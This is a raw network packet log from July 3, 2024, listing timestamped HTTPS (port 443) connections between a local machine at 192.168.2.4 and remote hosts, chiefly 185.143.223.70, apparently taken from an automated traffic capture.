Jul 3, 2024 23:50:43.844681978 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.899111986 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.899431944 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.899456978 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.900316000 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.900392056 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.901015043 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.901070118 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.901415110 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.901427031 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.955286980 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.981769085 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.999706030 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.999731064 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.999766111 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.999783993 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:43.999800920 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:43.999836922 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.000802040 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.000879049 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.003207922 CEST	49784	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.003230095 CEST	443	49784	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.003784895 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.003810883 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.004075050 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.005120993 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.005142927 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.006330967 CEST	49786	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.006345034 CEST	443	49786	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.012063026 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.012085915 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.012094021 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.012108088 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.012118101 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.012120962 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.012139082 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.012147903 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.012195110 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.012217045 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.051567078 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.051592112 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.051631927 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.051649094 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.051691055 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.054781914 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.054800987 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.054820061 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.054924011 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.054924011 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.054940939 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.054996967 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.063549995 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.063625097 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.063631058 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.063668966 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.077177048 CEST	49785	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.077186108 CEST	443	49785	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.084079027 CEST	49787	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.084101915 CEST	443	49787	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.088669062 CEST	49783	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.088682890 CEST	443	49783	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.191199064 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.191226006 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.191349983 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.193515062 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.193531990 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.193645954 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.194037914 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.194051981 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.194228888 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.194236040 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.201338053 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.201375961 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.201605082 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.201796055 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.201811075 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.203880072 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.203890085 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.203969955 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.204446077 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.204457998 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.206743956 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.206754923 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.207077980 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.207632065 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.207640886 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.319076061 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.319169998 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.319292068 CEST	49782	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.321902037 CEST	49782	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.321913958 CEST	443	49782	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.331444025 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.331465006 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.331583977 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.331809998 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.331825018 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.520200968 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.520571947 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.520596027 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.520894051 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.521313906 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.521372080 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.521502018 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.521529913 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.707314014 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.707736969 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.707755089 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.708730936 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.708796978 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.709135056 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.709192038 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.709305048 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.709314108 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.713742018 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.713915110 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.713923931 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.714884996 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.714946985 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.715238094 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.715295076 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.715362072 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.715389013 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.719585896 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.719882011 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.719892025 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.720850945 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.720920086 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.721244097 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.721298933 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.721328974 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.721345901 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.723921061 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.724144936 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.724154949 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.725244045 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.725307941 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.725570917 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.725627899 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.725686073 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.725697994 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.726600885 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.726816893 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.726826906 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.727786064 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.727876902 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.728508949 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.728569031 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.728632927 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.728657961 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.757818937 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.757833958 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.757843018 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.773036003 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.773196936 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.773196936 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.773206949 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.773217916 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.802611113 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.817941904 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.817941904 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.836349010 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.836616039 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.836630106 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.837635040 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.837713957 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.838025093 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.838087082 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.838192940 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.838202000 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.879152060 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.893937111 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.894005060 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.894057035 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.895229101 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.895257950 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.895265102 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.895337105 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.895350933 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.895736933 CEST	49793	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.895752907 CEST	443	49793	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.897124052 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.897198915 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.898046970 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.898055077 CEST	443	49794	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.898091078 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.898112059 CEST	49794	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.900721073 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.900741100 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.900784016 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.900793076 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.900827885 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.901456118 CEST	49791	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.901472092 CEST	443	49791	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984672070 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984692097 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984699011 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984721899 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984731913 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984740973 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984767914 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.984778881 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984816074 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984823942 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.984843969 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.984873056 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.984873056 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.985769033 CEST	49792	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.985783100 CEST	443	49792	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987339020 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987366915 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987375975 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987399101 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987409115 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987418890 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987453938 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.987462044 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987478971 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.987484932 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.987524986 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.987524986 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.988652945 CEST	49795	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.988657951 CEST	443	49795	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.995233059 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.995656013 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:44.995699883 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.996467113 CEST	49796	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:44.996478081 CEST	443	49796	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.198875904 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.198908091 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.198921919 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.198982954 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:45.199002028 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.199048042 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:45.199609041 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.199666977 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:45.200561047 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.200620890 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.200630903 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:45.200642109 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.200668097 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:45.200676918 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:45.200680971 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:45.200715065 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:45.216222048 CEST	49790	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:45.216243982 CEST	443	49790	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:46.449793100 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:46.449875116 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:46.449923992 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:47.068383932 CEST	49778	443	192.168.2.4	13.107.246.60
Jul 3, 2024 23:50:47.068408966 CEST	443	49778	13.107.246.60	192.168.2.4
Jul 3, 2024 23:50:51.127276897 CEST	49800	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.127315998 CEST	443	49800	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.127393007 CEST	49800	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.128071070 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.128097057 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.128266096 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.129829884 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.129841089 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.130119085 CEST	49800	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.130141973 CEST	443	49800	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.636296034 CEST	443	49800	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.644143105 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.659816980 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.659835100 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.660216093 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.660247087 CEST	49800	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.660286903 CEST	443	49800	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.660711050 CEST	443	49800	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.661221027 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.661289930 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.661963940 CEST	49800	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.662039042 CEST	443	49800	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.662605047 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:51.662631989 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:51.710601091 CEST	49800	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.178698063 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.178725004 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.178739071 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.178839922 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.178850889 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.178894997 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.180063009 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.180085897 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.180140972 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.180145979 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.180166960 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.181590080 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.267095089 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.267119884 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.267201900 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.267209053 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.267263889 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.268682003 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.268706083 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.268821001 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.268821001 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.268826962 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.268876076 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.270237923 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.270267010 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.270340919 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.270340919 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.270347118 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.270414114 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.272573948 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.272593021 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.272651911 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.272660971 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.272727966 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.358611107 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.358637094 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.358797073 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.358810902 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.358901024 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.359491110 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.359513044 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.359560013 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.359565020 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.359697104 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.360677004 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.360698938 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.360949993 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.360955000 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.361124039 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.361493111 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.361531019 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.361567974 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.361581087 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.361610889 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.361687899 CEST	49801	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:52.362555027 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.362579107 CEST	443	49801	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:52.362781048 CEST	49801	443	192.168.2.4	185.143.223.70
